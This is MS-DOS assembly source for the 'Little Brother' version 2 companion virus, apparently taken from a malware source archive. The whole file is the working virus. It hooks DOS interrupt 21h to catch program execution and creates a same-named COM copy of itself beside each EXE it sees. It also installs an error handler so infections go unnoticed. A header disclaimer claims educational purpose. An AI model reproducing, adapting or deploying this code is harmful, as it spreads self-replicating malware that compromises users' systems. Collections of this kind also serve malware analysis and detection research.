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MalwareSourceCode/MSDOS/Virus.MSDOS.Unknown.ltbro307.asm

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2021-01-12 23:49:21 +00:00
;****************************************************************************
;* Little Brother version 2
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:nothing
.RADIX 16
FILELEN equ end - begin
RESPAR equ (FILELEN/16d) + 17d
VERSION equ 2
oi21 equ end
nameptr equ end+4
DTA equ end+8
;****************************************************************************
;* Install the program!
;****************************************************************************
org 100h
begin: cld
mov ax,0044h ;move program to empty hole
mov es,ax
mov di,0100h
mov si,di
mov cx,FILELEN
rep movsb
mov ds,cx ;get original int21 vector
mov si,0084h
mov di,offset oi21
mov dx,offset ni21
lodsw
cmp ax,dx ;already installed?
je cancel
stosw
movsw
push es ;set vector to new handler
pop ds
mov ax,2521h
int 21h
cancel: ret
;****************************************************************************
;* File-extensions
;****************************************************************************
EXE_txt db 'EXE',0
COM_txt db 'COM',0
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Interupt handler 21
;****************************************************************************
ni21: pushf
push dx
push bx
push ax
push ds
push es
cmp ax,4B00h ;execute ?
jne exit
doit: call infect
exit: pop es
pop ds
pop ax
pop bx
pop dx
popf
jmp dword ptr cs:[oi21] ;call to old int-handler
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov word ptr cs:[nameptr],dx ;save the ptr to the filename
mov word ptr cs:[nameptr+2],ds
mov ah,2Fh ;get old DTA
int 21
push es
push bx
push cs ;set new DTA
pop ds
mov dx,offset DTA
mov ah,1Ah
int 21
call searchpoint
push di
mov si,offset COM_txt ;is extension 'COM'?
mov cx,3
rep cmpsb
pop di
jz do_com
mov si,offset EXE_txt ;is extension 'EXE'?
mov cl,3
rep cmpsb
jnz return
do_exe: mov si,offset COM_txt ;change extension to COM
call change_ext
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
push cs ;set int24 vec to new handler
pop ds
mov dx,offset ni24
mov ah,25h
push ax
int 21
lds dx,dword ptr [nameptr] ;create the virus (unique name)
xor cx,cx
mov ah,5Bh
int 21
jc return1
xchg bx,ax ;save handle
push cs
pop ds
mov cx,FILELEN ;write the virus
mov dx,offset begin
mov ah,40h
int 21
cmp ax,cx
pushf
mov ah,3Eh ;close the file
int 21
popf
jz return1 ;all bytes written?
lds dx,dword ptr [nameptr] ;no, delete the virus
mov ah,41h
int 21
return1: pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
mov si,offset EXE_txt ;change extension to EXE
call change_ext ;execute EXE-file
return: mov ah,1Ah ;restore old DTA
pop dx
pop ds
int 21
ret
do_com: call findfirst ;is the COM-file a virus?
cmp word ptr cs:[DTA+1Ah],FILELEN
jne return ;no, execute COM-file
mov si,offset EXE_txt ;does the EXE-variant exist?
call change_ext
call findfirst
jnc return ;yes, execute EXE-file
mov si,offset COM_txt ;change extension to COM
call change_ext
jmp short return ;execute COM-file
;****************************************************************************
;* Find the file
;****************************************************************************
findfirst: lds dx,dword ptr [nameptr]
mov cl,27h
mov ah,4Eh
int 21
ret
;****************************************************************************
;* change the extension of the filename (CS:SI -> ext)
;****************************************************************************
change_ext: call searchpoint
push cs
pop ds
movsw
movsw
ret
;****************************************************************************
;* search begin of extension
;****************************************************************************
searchpoint: les di,dword ptr cs:[nameptr]
mov ch,0FFh
mov al,0
repnz scasb
sub di,4
ret
;****************************************************************************
;* Text and Signature
;****************************************************************************
db 'Little Brother',0
end:
cseg ends
end begin

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